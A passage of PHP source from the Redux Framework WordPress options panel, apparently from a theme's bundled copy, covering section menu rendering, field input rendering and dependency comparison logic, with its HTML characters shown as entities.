                    echo &#039;&lt;a href=&quot;javascript:void(0);&quot; id=&quot;&#039; . esc_attr( $k . $suffix ) . &#039;_section_group_li_a&quot; class=&quot;redux-group-tab-link-a&quot; data-key=&quot;&#039; . esc_attr( $k ) . &#039;&quot; data-rel=&quot;&#039; . esc_attr( $k . $suffix ) . &#039;&quot;&gt;&#039; . $extra_icon . $icon . &#039;&lt;span class=&quot;group_title&quot;&gt;&#039; . wp_kses_post( $section[&#039;title&#039;] ) . &#039;&lt;/span&gt;&lt;/a&gt;&#039;;

                    $nextK = $k;

                    // Make sure you can make this a subsection
                    if ( $subsections ) {
                        echo &#039;&lt;ul id=&quot;&#039; . esc_attr( $nextK . $suffix ) . &#039;_section_group_li_subsections&quot; class=&quot;subsection&quot;&gt;&#039;;
                        $doLoop = true;

                        while ( $doLoop ) {
                            $nextK += 1;
                            $display = true;

                            if ( isset ( $_GET[&#039;page&#039;] ) &amp;&amp; $_GET[&#039;page&#039;] == $this-&gt;args[&#039;page_slug&#039;] ) {
                                if ( isset ( $sections[ $nextK ][&#039;panel&#039;] ) &amp;&amp; $sections[ $nextK ][&#039;panel&#039;] == false ) {
                                    $display = false;
                                }
                            }

                            if ( count( $sections ) &lt; $nextK || ! isset ( $sections[ $nextK ] ) || ! isset ( $sections[ $nextK ][&#039;subsection&#039;] ) || $sections[ $nextK ][&#039;subsection&#039;] != true ) {
                                $doLoop = false;
                            } else {
                                if ( ! $display ) {
                                    continue;
                                }

                                $hide_sub = &#039;&#039;;
                                if ( isset ( $sections[ $nextK ][&#039;hidden&#039;] ) ) {
                                    $hide_sub = ( $sections[ $nextK ][&#039;hidden&#039;] == true ) ? &#039; hidden &#039; : &#039;&#039;;
                                }

                                if ( ( isset ( $this-&gt;args[&#039;icon_type&#039;] ) &amp;&amp; $this-&gt;args[&#039;icon_type&#039;] == &#039;image&#039; ) || ( isset ( $sections[ $nextK ][&#039;icon_type&#039;] ) &amp;&amp; $sections[ $nextK ][&#039;icon_type&#039;] == &#039;image&#039; ) ) {
                                    //if( !empty( $this-&gt;args[&#039;icon_type&#039;] ) &amp;&amp; $this-&gt;args[&#039;icon_type&#039;] == &#039;image&#039; ) {
                                    $icon = ( ! isset ( $sections[ $nextK ][&#039;icon&#039;] ) ) ? &#039;&#039; : &#039;&lt;img class=&quot;image_icon_type&quot; src=&quot;&#039; . esc_url( $sections[ $nextK ][&#039;icon&#039;] ) . &#039;&quot; /&gt; &#039;;
                                } else {
                                    if ( ! empty ( $sections[ $nextK ][&#039;icon_class&#039;] ) ) {
                                        $icon_class = &#039; &#039; . $sections[ $nextK ][&#039;icon_class&#039;];
                                    } elseif ( ! empty ( $this-&gt;args[&#039;default_icon_class&#039;] ) ) {
                                        $icon_class = &#039; &#039; . $this-&gt;args[&#039;default_icon_class&#039;];
                                    } else {
                                        $icon_class = &#039;&#039;;
                                    }
                                    $icon = ( ! isset ( $sections[ $nextK ][&#039;icon&#039;] ) ) ? &#039;&#039; : &#039;&lt;i class=&quot;&#039; . esc_attr( $sections[ $nextK ][&#039;icon&#039;] ) . esc_attr( $icon_class ) . &#039;&quot;&gt;&lt;/i&gt; &#039;;
                                }
                                if ( strpos( $icon, &#039;el-icon-&#039; ) !== false ) {
                                    $icon = str_replace( &#039;el-icon-&#039;, &#039;el el-&#039;, $icon );
                                }

                                $sections[ $nextK ][&#039;class&#039;] = isset($sections[ $nextK ][&#039;class&#039;]) ? $sections[ $nextK ][&#039;class&#039;] : &#039;&#039;;
                                $section[ $nextK ][&#039;class&#039;] = isset ( $section[ $nextK ][&#039;class&#039;] ) ? $section[ $nextK ][&#039;class&#039;] : $sections[ $nextK ][&#039;class&#039;];
                                echo &#039;&lt;li id=&quot;&#039; . esc_attr( $nextK . $suffix ) . &#039;_section_group_li&quot; class=&quot;redux-group-tab-link-li &#039; . esc_attr( $hide_sub ) . esc_attr( $section[ $nextK ][&#039;class&#039;] ) . ( $icon ? &#039; hasIcon&#039; : &#039;&#039; ) . &#039;&quot;&gt;&#039;;
                                echo &#039;&lt;a href=&quot;javascript:void(0);&quot; id=&quot;&#039; . esc_attr( $nextK . $suffix ) . &#039;_section_group_li_a&quot; class=&quot;redux-group-tab-link-a&quot; data-key=&quot;&#039; . esc_attr( $nextK ) . &#039;&quot; data-rel=&quot;&#039; . esc_attr( $nextK . $suffix ) . &#039;&quot;&gt;&#039; . $icon . &#039;&lt;span class=&quot;group_title&quot;&gt;&#039; . wp_kses_post( $sections[ $nextK ][&#039;title&#039;] ) . &#039;&lt;/span&gt;&lt;/a&gt;&#039;;
                                echo &#039;&lt;/li&gt;&#039;;
                            }
                        }

                        echo &#039;&lt;/ul&gt;&#039;;
                    }

                    echo &#039;&lt;/li&gt;&#039;;
                }

            }
            // section_menu()

            /**
             * HTML OUTPUT.
             *
             * @since       1.0.0
             * @access      public
             * @return      void
             */
            public function generate_panel() {
                require_once &#039;core/panel.php&#039;;
                $panel = new reduxCorePanel ( $this );
                $panel-&gt;init();
                $this-&gt;set_transients();
            }

            /**
             * Section HTML OUTPUT.
             *
             * @since       1.0.0
             * @access      public
             *
             * @param       array $section
             *
             * @return      void
             */
            public function _section_desc( $section ) {
                $id = rtrim( $section[&#039;id&#039;], &#039;_section&#039; );
                $id = str_replace($this-&gt;args[&#039;opt_name&#039;], &#039;&#039;, $id);

                if ( isset ( $this-&gt;sections[ $id ][&#039;desc&#039;] ) &amp;&amp; ! empty ( $this-&gt;sections[ $id ][&#039;desc&#039;] ) ) {
                    echo &#039;&lt;div class=&quot;redux-section-desc&quot;&gt;&#039; . $this-&gt;sections[ $id ][&#039;desc&#039;] . &#039;&lt;/div&gt;&#039;;
                }
            }

            /**
             * Field HTML OUTPUT.
             * Gets option from options array, then calls the specific field type class - allows extending by other devs
             *
             * @since       1.0.0
             *
             * @param array  $field
             * @param string $v
             *
             * @return      void
             */
            public function _field_input( $field, $v = null ) {

                if ( isset ( $field[&#039;callback&#039;] ) &amp;&amp; ( is_callable( $field[&#039;callback&#039;] ) || ( is_string( $field[&#039;callback&#039;] ) &amp;&amp; function_exists( $field[&#039;callback&#039;] ) ) ) ) {

                    $value = ( isset ( $this-&gt;options[ $field[&#039;id&#039;] ] ) ) ? $this-&gt;options[ $field[&#039;id&#039;] ] : &#039;&#039;;

                    /**
                     * action &#039;redux-before-field-{opt_name}&#039;
                     *
                     * @deprecated
                     *
                     * @param array  $field field data
                     * @param string $value field.id
                     */
                    do_action( &quot;redux-before-field-{$this-&gt;args[&#039;opt_name&#039;]}&quot;, $field, $value ); // REMOVE

                    /**
                     * action &#039;redux/field/{opt_name}/{field.type}/callback/before&#039;
                     *
                     * @param array  $field field data
                     * @param string $value field.id
                     */
                    do_action_ref_array( &quot;redux/field/{$this-&gt;args[&#039;opt_name&#039;]}/{$field[&#039;type&#039;]}/callback/before&quot;, array(
                        &amp;$field,
                        &amp;$value
                    ) );

                    /**
                     * action &#039;redux/field/{opt_name}/callback/before&#039;
                     *
                     * @param array  $field field data
                     * @param string $value field.id
                     */
                    do_action_ref_array( &quot;redux/field/{$this-&gt;args[&#039;opt_name&#039;]}/callback/before&quot;, array(
                        &amp;$field,
                        &amp;$value
                    ) );

                    call_user_func( $field[&#039;callback&#039;], $field, $value );


                    /**
                     * action &#039;redux-after-field-{opt_name}&#039;
                     *
                     * @deprecated
                     *
                     * @param array  $field field data
                     * @param string $value field.id
                     */
                    do_action( &quot;redux-after-field-{$this-&gt;args[&#039;opt_name&#039;]}&quot;, $field, $value ); // REMOVE

                    /**
                     * action &#039;redux/field/{opt_name}/{field.type}/callback/after&#039;
                     *
                     * @param array  $field field data
                     * @param string $value field.id
                     */
                    do_action_ref_array( &quot;redux/field/{$this-&gt;args[&#039;opt_name&#039;]}/{$field[&#039;type&#039;]}/callback/after&quot;, array(
                        &amp;$field,
                        &amp;$value
                    ) );

                    /**
                     * action &#039;redux/field/{opt_name}/callback/after&#039;
                     *
                     * @param array  $field field data
                     * @param string $value field.id
                     */
                    do_action_ref_array( &quot;redux/field/{$this-&gt;args[&#039;opt_name&#039;]}/callback/after&quot;, array(
                        &amp;$field,
                        &amp;$value
                    ) );


                    return;
                }

                if ( isset ( $field[&#039;type&#039;] ) ) {

                    // If the field is set not to display in the panel
                    $display = true;
                    if ( isset ( $_GET[&#039;page&#039;] ) &amp;&amp; $_GET[&#039;page&#039;] == $this-&gt;args[&#039;page_slug&#039;] ) {
                        if ( isset ( $field[&#039;panel&#039;] ) &amp;&amp; $field[&#039;panel&#039;] == false ) {
                            $display = false;
                        }
                    }

                    if ( ! $display ) {
                        return;
                    }

                    $field_class = &quot;ReduxFramework_{$field[&#039;type&#039;]}&quot;;

                    if ( ! class_exists( $field_class ) ) {
                        //                    $class_file = apply_filters( &#039;redux/field/class/&#039;.$field[&#039;type&#039;], self::$_dir . &#039;inc/fields/&#039; . $field[&#039;type&#039;] . &#039;/field_&#039; . $field[&#039;type&#039;] . &#039;.php&#039;, $field ); // REMOVE
                        /**
                         * filter &#039;redux/{opt_name}/field/class/{field.type}&#039;
                         *
                         * @param       string        field class file path
                         * @param array $field        field data
                         */
                        $class_file = apply_filters( &quot;redux/{$this-&gt;args[&#039;opt_name&#039;]}/field/class/{$field[&#039;type&#039;]}&quot;, self::$_dir . &quot;inc/fields/{$field[&#039;type&#039;]}/field_{$field[&#039;type&#039;]}.php&quot;, $field );

                        if ( $class_file ) {
                            if ( file_exists( $class_file ) ) {
                                require_once $class_file;
                            }
                        }
                    }

                    if ( class_exists( $field_class ) ) {
                        $value = isset ( $this-&gt;options[ $field[&#039;id&#039;] ] ) ? $this-&gt;options[ $field[&#039;id&#039;] ] : &#039;&#039;;

                        if ( $v != null ) {
                            $value = $v;
                        }

                        /**
                         * action &#039;redux-before-field-{opt_name}&#039;
                         *
                         * @deprecated
                         *
                         * @param array  $field field data
                         * @param string $value field id
                         */
                        do_action( &quot;redux-before-field-{$this-&gt;args[&#039;opt_name&#039;]}&quot;, $field, $value ); // REMOVE

                        /**
                         * action &#039;redux/field/{opt_name}/{field.type}/render/before&#039;
                         *
                         * @param array  $field field data
                         * @param string $value field id
                         */
                        do_action_ref_array( &quot;redux/field/{$this-&gt;args[&#039;opt_name&#039;]}/{$field[&#039;type&#039;]}/render/before&quot;, array(
                            &amp;$field,
                            &amp;$value
                        ) );

                        /**
                         * action &#039;redux/field/{$this-&gt;args[&#039;opt_name&#039;]}/render/before&#039;
                         *
                         * @param array  $field field data
                         * @param string $value field id
                         */
                        do_action_ref_array( &quot;redux/field/{$this-&gt;args[&#039;opt_name&#039;]}/render/before&quot;, array(
                            &amp;$field,
                            &amp;$value
                        ) );

                        if ( ! isset ( $field[&#039;name_suffix&#039;] ) ) {
                            $field[&#039;name_suffix&#039;] = &quot;&quot;;
                        }


                        /* nectar addition - removed output buffering method of rendering field */
                        /* nectar addition end */

                        //save the values into a unique array in case we need it for dependencies
                        $this-&gt;fieldsValues[ $field[&#039;id&#039;] ] = ( isset ( $value[&#039;url&#039;] ) &amp;&amp; is_array( $value ) ) ? $value[&#039;url&#039;] : $value;

                        //create default data und class string and checks the dependencies of an object
                        $class_string = &#039;&#039;;
                        $data_string  = &#039;&#039;;

                        $this-&gt;check_dependencies( $field );

                        /**
                         * action &#039;redux/field/{opt_name}/{field.type}/fieldset/before/{opt_name}&#039;
                         *
                         * @param array  $field field data
                         * @param string $value field id
                         */
                        do_action_ref_array( &quot;redux/field/{$this-&gt;args[&#039;opt_name&#039;]}/{$field[&#039;type&#039;]}/fieldset/before/{$this-&gt;args[&#039;opt_name&#039;]}&quot;, array(
                            &amp;$field,
                            &amp;$value
                        ) );

                        /**
                         * action &#039;redux/field/{opt_name}/fieldset/before/{opt_name}&#039;
                         *
                         * @param array  $field field data
                         * @param string $value field id
                         */
                        do_action_ref_array( &quot;redux/field/{$this-&gt;args[&#039;opt_name&#039;]}/fieldset/before/{$this-&gt;args[&#039;opt_name&#039;]}&quot;, array(
                            &amp;$field,
                            &amp;$value
                        ) );


                        $hidden = &#039;&#039;;
                        if ( isset ( $field[&#039;hidden&#039;] ) &amp;&amp; $field[&#039;hidden&#039;] ) {
                            $hidden = &#039;hidden &#039;;
                        }

                        if ( isset( $field[&#039;full_width&#039;] ) &amp;&amp; $field[&#039;full_width&#039;] == true ) {
                            $class_string .= &quot;redux_remove_th&quot;;
                        }

                        if ( isset ( $field[&#039;fieldset_class&#039;] ) &amp;&amp; ! empty( $field[&#039;fieldset_class&#039;] ) ) {
                            $class_string .= &#039; &#039; . $field[&#039;fieldset_class&#039;];
                        }

                        echo &#039;&lt;fieldset id=&quot;&#039; . esc_attr($this-&gt;args[&#039;opt_name&#039;]) . &#039;-&#039; . esc_attr($field[&#039;id&#039;]) . &#039;&quot; class=&quot;&#039; . esc_attr($hidden) . &#039;redux-field-container redux-field redux-field-init redux-container-&#039; . esc_attr($field[&#039;type&#039;]) . &#039; &#039; . esc_attr($class_string) . &#039;&quot; data-id=&quot;&#039; . esc_attr($field[&#039;id&#039;]) . &#039;&quot; &#039; . $data_string . &#039; data-type=&quot;&#039; . esc_attr($field[&#039;type&#039;]) . &#039;&quot;&gt;&#039;;

                        /* nectar addition */
                        $render = new $field_class ( $field, $value, $this );
                        $render-&gt;render();
                        /* nectar addition end */

                        if ( ! empty ( $field[&#039;desc&#039;] ) ) {
                            $field[&#039;description&#039;] = $field[&#039;desc&#039;];
                        }

                        echo ( isset ( $field[&#039;description&#039;] ) &amp;&amp; $field[&#039;type&#039;] != &quot;info&quot; &amp;&amp; $field[&#039;type&#039;] !== &quot;section&quot; &amp;&amp; ! empty ( $field[&#039;description&#039;] ) ) ? &#039;&lt;div class=&quot;description field-desc&quot;&gt;&#039; . wp_kses_post($field[&#039;description&#039;]) . &#039;&lt;/div&gt;&#039; : &#039;&#039;;


                        echo &#039;&lt;/fieldset&gt;&#039;;


                        /**
                         * action &#039;redux-after-field-{opt_name}&#039;
                         *
                         * @deprecated
                         *
                         * @param array  $field field data
                         * @param string $value field id
                         */
                        do_action( &quot;redux-after-field-{$this-&gt;args[&#039;opt_name&#039;]}&quot;, $field, $value ); // REMOVE

                        /**
                         * action &#039;redux/field/{opt_name}/{field.type}/fieldset/after/{opt_name}&#039;
                         *
                         * @param array  $field field data
                         * @param string $value field id
                         */
                        do_action_ref_array( &quot;redux/field/{$this-&gt;args[&#039;opt_name&#039;]}/{$field[&#039;type&#039;]}/fieldset/after/{$this-&gt;args[&#039;opt_name&#039;]}&quot;, array(
                            &amp;$field,
                            &amp;$value
                        ) );

                        /**
                         * action &#039;redux/field/{opt_name}/fieldset/after/{opt_name}&#039;
                         *
                         * @param array  $field field data
                         * @param string $value field id
                         */
                        do_action_ref_array( &quot;redux/field/{$this-&gt;args[&#039;opt_name&#039;]}/fieldset/after/{$this-&gt;args[&#039;opt_name&#039;]}&quot;, array(
                            &amp;$field,
                            &amp;$value
                        ) );
                    }
                }
            }
            // _field_input()

            /**
             * Can Output CSS
             * Check if a field meets its requirements before outputting to CSS
             *
             * @param $field
             *
             * @return bool
             */
            public function _can_output_css( $field ) {
                $return = true;

                $field = apply_filters( &quot;redux/field/{$this-&gt;args[&#039;opt_name&#039;]}/_can_output_css&quot;, $field );
                if ( isset ( $field[&#039;force_output&#039;] ) &amp;&amp; $field[&#039;force_output&#039;] == true ) {
                    return $return;
                }

                if ( ! empty ( $field[&#039;required&#039;] ) ) {
                    if ( isset ( $field[&#039;required&#039;][0] ) ) {
                        if ( ! is_array( $field[&#039;required&#039;][0] ) &amp;&amp; count( $field[&#039;required&#039;] ) == 3 ) {
                            $parentValue = $GLOBALS[ $this-&gt;args[&#039;global_variable&#039;] ][ $field[&#039;required&#039;][0] ];
                            $checkValue  = $field[&#039;required&#039;][2];
                            $operation   = $field[&#039;required&#039;][1];
                            $return      = $this-&gt;compareValueDependencies( $parentValue, $checkValue, $operation );
                        } else if ( is_array( $field[&#039;required&#039;][0] ) ) {
                            foreach ( $field[&#039;required&#039;] as $required ) {
                                if ( ! is_array( $required[0] ) &amp;&amp; count( $required ) == 3 ) {
                                    $parentValue = $GLOBALS[ $this-&gt;args[&#039;global_variable&#039;] ][ $required[0] ];
                                    $checkValue  = $required[2];
                                    $operation   = $required[1];
                                    $return      = $this-&gt;compareValueDependencies( $parentValue, $checkValue, $operation );
                                }
                                if ( ! $return ) {
                                    return $return;
                                }
                            }
                        }
                    }
                }

                return $return;
            }
            // _can_output_css

            /**
             * Checks dependencies between objects based on the $field[&#039;required&#039;] array
             * If the array is set it needs to have exactly 3 entries.
             * The first entry describes which field should be monitored by the current field. eg: &quot;content&quot;
             * The second entry describes the comparison parameter. eg: &quot;equals, not, is_larger, is_smaller ,contains&quot;
             * The third entry describes the value that we are comparing against.
             * Example: if the required array is set to array(&#039;content&#039;,&#039;equals&#039;,&#039;Hello World&#039;); then the current
             * field will only be displayed if the field with id &quot;content&quot; has exactly the value &quot;Hello World&quot;
             *
             * @param array $field
             *
             * @return array $params
             */
            public function check_dependencies( $field ) {
                //$params = array(&#039;data_string&#039; =&gt; &quot;&quot;, &#039;class_string&#039; =&gt; &quot;&quot;);
                if ( isset( $field[&#039;ajax_save&#039;] ) &amp;&amp; $field[&#039;ajax_save&#039;] == false ) {
                    $this-&gt;reload_fields[] = $field[&#039;id&#039;];
                }

                if ( ! empty ( $field[&#039;required&#039;] ) ) {
                    if ( ! isset ( $this-&gt;required_child[ $field[&#039;id&#039;] ] ) ) {
                        $this-&gt;required_child[ $field[&#039;id&#039;] ] = array();
                    }

                    if ( ! isset ( $this-&gt;required[ $field[&#039;id&#039;] ] ) ) {
                        $this-&gt;required[ $field[&#039;id&#039;] ] = array();
                    }

                    if ( is_array( $field[&#039;required&#039;][0] ) ) {

                        foreach ( $field[&#039;required&#039;] as $value ) {
                            if ( is_array( $value ) &amp;&amp; count( $value ) == 3 ) {
                                $data               = array();
                                $data[&#039;parent&#039;]     = $value[0];
                                $data[&#039;operation&#039;]  = $value[1];
                                $data[&#039;checkValue&#039;] = $value[2];

                                $this-&gt;required[ $data[&#039;parent&#039;] ][ $field[&#039;id&#039;] ][] = $data;

                                if ( ! in_array( $data[&#039;parent&#039;], $this-&gt;required_child[ $field[&#039;id&#039;] ] ) ) {
                                    $this-&gt;required_child[ $field[&#039;id&#039;] ][] = $data;
                                }

                                $this-&gt;checkRequiredDependencies( $field, $data );
                            }
                        }
                    } else {
                        $data               = array();
                        $data[&#039;parent&#039;]     = $field[&#039;required&#039;][0];
                        $data[&#039;operation&#039;]  = $field[&#039;required&#039;][1];
                        $data[&#039;checkValue&#039;] = $field[&#039;required&#039;][2];

                        $this-&gt;required[ $data[&#039;parent&#039;] ][ $field[&#039;id&#039;] ][] = $data;

                        if ( ! in_array( $data[&#039;parent&#039;], $this-&gt;required_child[ $field[&#039;id&#039;] ] ) ) {
                            $this-&gt;required_child[ $field[&#039;id&#039;] ][] = $data;
                        }

                        $this-&gt;checkRequiredDependencies( $field, $data );
                    }
                }
                //return $params;
            }

            // Compare data for required field
            private function compareValueDependencies( $parentValue, $checkValue, $operation ) {
                $return = false;
                switch ( $operation ) {
                    case &#039;=&#039;:
                    case &#039;equals&#039;:
                        $data[&#039;operation&#039;] = &quot;=&quot;;

                        if ( is_array( $parentValue ) ) {
                            foreach ( $parentValue as $idx =&gt; $val ) {
                                if ( is_array( $checkValue ) ) {
                                    foreach ( $checkValue as $i =&gt; $v ) {
                                        if ( Redux_Helpers::makeBoolStr($val) === Redux_Helpers::makeBoolStr($v) ) {
                                            $return = true;
                                        }
                                    }
                                } else {
                                    if ( Redux_Helpers::makeBoolStr($val) === Redux_Helpers::makeBoolStr($checkValue) ) {
                                        $return = true;
                                    }
                                }
                            }
                        } else {
                            //var_dump($checkValue);
                            if ( is_array( $checkValue ) ) {
                                foreach ( $checkValue as $i =&gt; $v ) {
                                    if ( Redux_Helpers::makeBoolStr($parentValue) === Redux_Helpers::makeBoolStr($v) ) {
                                        $return = true;
                                    }
                                }
                            } else {
                                if ( Redux_Helpers::makeBoolStr($parentValue) === Redux_Helpers::makeBoolStr($checkValue) ) {
                                    $return = true;
                                }
                            }
                        }
                        break;

                    case &#039;!=&#039;:
                    case &#039;not&#039;:
                        $data[&#039;operation&#039;] = &quot;!==&quot;;
                        if ( is_array( $parentValue ) ) {
                            foreach ( $parentValue as $idx =&gt; $val ) {
                                if ( is_array( $checkValue ) ) {
                                    foreach ( $checkValue as $i =&gt; $v ) {
                                        if ( Redux_Helpers::makeBoolStr($val) !== Redux_Helpers::makeBoolStr($v) ) {
                                            $return = true;
                                        }
                                    }
                                } else {
                                    if ( Redux_Helpers::makeBoolStr($val) !== Redux_Helpers::makeBoolStr($checkValue) ) {
                                        $return = true;
                                    }
                                }
                            }
                        } else {
                            if ( is_array( $checkValue ) ) {
                                foreach ( $checkValue as $i =&gt; $v ) {
                                    if ( Redux_Helpers::makeBoolStr($parentValue) !== Redux_Helpers::makeBoolStr($v) ) {
                                        $return = true;
                                    }
                                }
                            } else {
                                if ( Redux_Helpers::makeBoolStr($parentValue) !== Redux_Helpers::makeBoolStr($checkValue) ) {
                                    $return = true;
                                }
                            }
                        }

                        //                        if ( is_array( $checkValue ) ) {
                        //                            if ( ! in_array( $parentValue, $checkValue ) ) {
                        //                                $return = true;
                        //                            }
                        //                        } else {
                        //                            if ( $parentValue != $checkValue ) {
                        //                                $return = true;
                        //                            } else if ( is_array( $parentValue ) ) {
                        //                                if ( ! in_array( $checkValue, $parentValue ) ) {
                        //                                    $return = true;
                        //                                }
                        //                            }
                        //                        }
                        break;
                    case &#039;&gt;&#039;:
                    case &#039;greater&#039;:
                    case &#039;is_larger&#039;:
                        $data[&#039;operation&#039;] = &quot;&gt;&quot;;
                        if ( $parentValue &gt; $checkValue ) {
                            $return = true;
                        }
                        break;
                    case &#039;&gt;=&#039;:
                    case &#039;greater_equal&#039;:
                    case &#039;is_larger_equal&#039;:
                        $data[&#039;operation&#039;] = &quot;&gt;=&quot;;
                        if ( $parentValue &gt;= $checkValue ) {
                            $return = true;
                        }
                        break;
                    case &#039;&lt;&#039;:
                    case &#039;less&#039;:
                    case &#039;is_smaller&#039;:
                        $data[&#039;operation&#039;] = &quot;&lt;&quot;;
                        if ( $parentValue &lt; $checkValue ) {
                            $return = true;
                        }
                        break;
                    case &#039;&lt;=&#039;:
                    case &#039;less_equal&#039;:
                    case &#039;is_smaller_equal&#039;:
                        $data[&#039;operation&#039;] = &quot;&lt;=&quot;;
                        if ( $parentValue &lt;= $checkValue ) {
                            $return = true;
                        }
                        break;
                    case &#039;contains&#039;:
                        if ( is_array( $parentValue ) ) {
                            $parentValue = implode( &#039;,&#039;, $parentValue );
                        }

                        if ( is_array( $checkValue ) ) {
                            foreach ( $checkValue as $idx =&gt; $opt ) {
                                if ( strpos( $parentValue, (string) $opt ) !== false ) {
                                    $return = true;
                                }
                            }
                        } else {
                            if ( strpos( $parentValue, (string) $checkValue ) !== false ) {
                                $return = true;
                            }
                        }

                        break;
                    case &#039;doesnt_contain&#039;:
                    case &#039;not_contain&#039;:
                        if ( is_array( $parentValue ) ) {
                            $parentValue = implode( &#039;,&#039;, $parentValue );
                        }

                        if ( is_array( $checkValue ) ) {
                            foreach ( $checkValue as $idx =&gt; $opt ) {
                                if ( strpos( $parentValue, (string) $opt ) === false ) {
                                    $return = true;
                                }
                            }
                        } else {
                            if ( strpos( $parentValue, (string) $checkValue ) === false ) {
                                $return = true;
                            }
                        }

                        break;
                    case &#039;is_empty_or&#039;:
                        if ( empty ( $parentValue ) || $parentValue == $checkValue ) {
                            $return = true;
                        }
                        break;
                    case &#039;not_empty_and&#039;:
                        if ( ! empty ( $parentValue ) &amp;&amp; $parentValue != $checkValue ) {
                            $return = true;
                        }
                        break;
                    case &#039;is_empty&#039;:
                    case &#039;empty&#039;:
                    case &#039;!isset&#039;:
                        if ( empty ( $parentValue ) || $parentValue == &quot;&quot; || $parentValue == null ) {
                            $return = true;
                        }
                        break;
                    case &#039;not_empty&#039;:
                    case &#039;!empty&#039;:
                    case &#039;isset&#039;:
                        if ( ! empty ( $parentValue ) &amp;&amp; $parentValue != &quot;&quot; &amp;&amp; $parentValue != null ) {
                            $return = true;
                        }
                        break;
                }

                return $return;
            }

            private function checkRequiredDependencies( $field, $data ) {
                //required field must not be hidden. otherwise hide this one by default

                if ( ! in_array( $data[&#039;parent&#039;], $this-&gt;fieldsHidden ) &amp;&amp; ( ! isset ( $this-&gt;folds[ $field[&#039;id&#039;] ] ) || $this-&gt;folds[ $field[&#039;id&#039;] ] != &quot;hide&quot; ) ) {
                    if ( isset ( $this-&gt;options[ $data[&#039;parent&#039;] ] ) ) {
                        $return = $this-&gt;compareValueDependencies( $this-&gt;options[ $data[&#039;parent&#039;] ], $data[&#039;checkValue&#039;], $data[&#039;operation&#039;] );
                        //$return = $this-&gt;compareValueDependencies( $data[&#039;parent&#039;], $data[&#039;checkValue&#039;], $data[&#039;operation&#039;] );
                    }
                }

                if ( ( isset ( $return ) &amp;&amp; $return ) &amp;&amp; ( ! isset ( $this-&gt;folds[ $field[&#039;id&#039;] ] ) || $this-&gt;folds[ $field[&#039;id&#039;] ] != &quot;hide&quot; ) ) {
                    $this-&gt;folds[ $field[&#039;id&#039;] ] = &quot;show&quot;;
                } else {
                    $this-&gt;folds[ $field[&#039;id&#039;] ] = &quot;hide&quot;;
                    if ( ! in_array( $field[&#039;id&#039;], $this-&gt;fieldsHidden ) ) {
                        $this-&gt;fieldsHidden[] = $field[&#039;id&#039;];
                    }
                }
            }

            /**
             * converts an array into a html data string
             *
             * @param array $data example input: array(&#039;id&#039;=&gt;&#039;true&#039;)
             *
             * @return string $data_string example output: data-id=&#039;true&#039;
             */
            public function create_data_string( $data = array() ) {
                $data_string = &quot;&quot;;

                foreach ( $data as $key =&gt; $value ) {
                    if ( is_array( $value ) ) {
                        $value = implode( &quot;|&quot;, $value );
                    }
                    $data_string .= &quot; data-$key=&#039;$value&#039; &quot;;
                }

                return $data_string;
            }

            /**
             * Parses the string into variables without the max_input_vars limitation.
             *
             * @since   3.5.7.11
             * @author  harunbasic
             * @access  public
             *
             * @param   string $string
             *
             * @return  array $result
             */
            function redux_parse_str( $string ) {
                if ( &#039;&#039; == $string ) {
                    return false;
                }

                $result = array();
                $pairs  = explode( &#039;&amp;&#039;, $string );

                foreach ( $pairs as $key =&gt; $pair ) {
                    // use the original parse_str() on each element
                    parse_str( $pair, $params );

                    $k = key( $params );

                    if ( ! isset( $result[ $k ] ) ) {
                        $result += $params;
                    } else {
                        $result[ $k ] = $this-&gt;redux_array_merge_recursive_distinct( $result[ $k ], $params[ $k ] );
                    }
                }

                return $result;
            }


            /**
             * Merge arrays without converting values with duplicate keys to arrays as array_merge_recursive does.
             * As seen here http://php.net/manual/en/function.array-merge-recursive.php#92195
             *
             * @since   3.5.7.11
             * @author  harunbasic
             * @access  public
             *
             * @param   array $array1
             * @param   array $array2
             *
             * @return  array $merged
             */
            function redux_array_merge_recursive_distinct( array $array1, array $array2 ) {
                $merged = $array1;

                foreach ( $array2 as $key =&gt; $value ) {
                    if ( is_array( $value ) &amp;&amp; isset( $merged[ $key ] ) &amp;&amp; is_array( $merged[ $key ] ) ) {
                        $merged[ $key ] = $this-&gt;redux_array_merge_recursive_distinct( $merged[ $key ], $value );
                    } else if ( is_numeric( $key ) &amp;&amp; isset( $merged[ $key ] ) ) {
                        $merged[] = $value;
                    } else {
                        $merged[ $key ] = $value;
                    }
                }

                return $merged;
            }

            private function change_demo_defaults() {
                if ( $this-&gt;args[&#039;dev_mode&#039;] == true || Redux_Helpers::isLocalHost() == true ) {
                    if ( ! empty( $this-&gt;args[&#039;admin_bar_links&#039;] ) ) {
                        foreach ( $this-&gt;args[&#039;admin_bar_links&#039;] as $idx =&gt; $arr ) {
                            if ( is_array( $arr ) &amp;&amp; ! empty( $arr ) ) {
                                foreach ( $arr as $x =&gt; $y ) {
                                    if ( strpos( strtolower( $y ), &#039;redux&#039; ) !== false ) {
                                        $msg = __( &#039;&lt;strong&gt;Redux Framework Notice: &lt;/strong&gt;There are references to the Redux Framework support site in your config\&#039;s &lt;code&gt;admin_bar_links&lt;/code&gt; argument.  This is sample data.  Please change or remove this data before shipping your product.&#039;, &#039;redux-framework&#039; );
                                        $this-&gt;display_arg_change_notice( &#039;admin&#039;, $msg );
                                        $this-&gt;omit_admin_items = true;
                                        continue;
                                    }
                                }
                            }
                        }
                    }

                    if ( ! empty( $this-&gt;args[&#039;share_icons&#039;] ) ) {
                        foreach ( $this-&gt;args[&#039;share_icons&#039;] as $idx =&gt; $arr ) {
                            if ( is_array( $arr ) &amp;&amp; ! empty( $arr ) ) {
                                foreach ( $arr as $x =&gt; $y ) {
                                    if ( strpos( strtolower( $y ), &#039;redux&#039; ) !== false ) {
                                        $msg = __( &#039;&lt;strong&gt;Redux Framework Notice: &lt;/strong&gt;There are references to the Redux Framework support site in your config\&#039;s &lt;code&gt;share_icons&lt;/code&gt; argument.  This is sample data.  Please change or remove this data before shipping your product.&#039;, &#039;redux-framework&#039; );
                                        $this-&gt;display_arg_change_notice( &#039;share&#039;, $msg );
                                        $this-&gt;omit_share_icons = true;
                                    }
                                }
                            }
                        }
                    }

                }
            }

            private function display_arg_change_notice( $mode, $msg = &#039;&#039; ) {
                if ( $mode == &#039;admin&#039; ) {
                    if ( ! $this-&gt;omit_admin_items ) {
                        $this-&gt;admin_notices[] = array(
                            &#039;type&#039;    =&gt; &#039;error&#039;,
                            &#039;msg&#039;     =&gt; $msg,
                            &#039;id&#039;      =&gt; &#039;admin_config&#039;,
                            &#039;dismiss&#039; =&gt; true,
                        );
                    }
                }

                if ( $mode == &#039;share&#039; ) {
                    if ( ! $this-&gt;omit_share_icons ) {
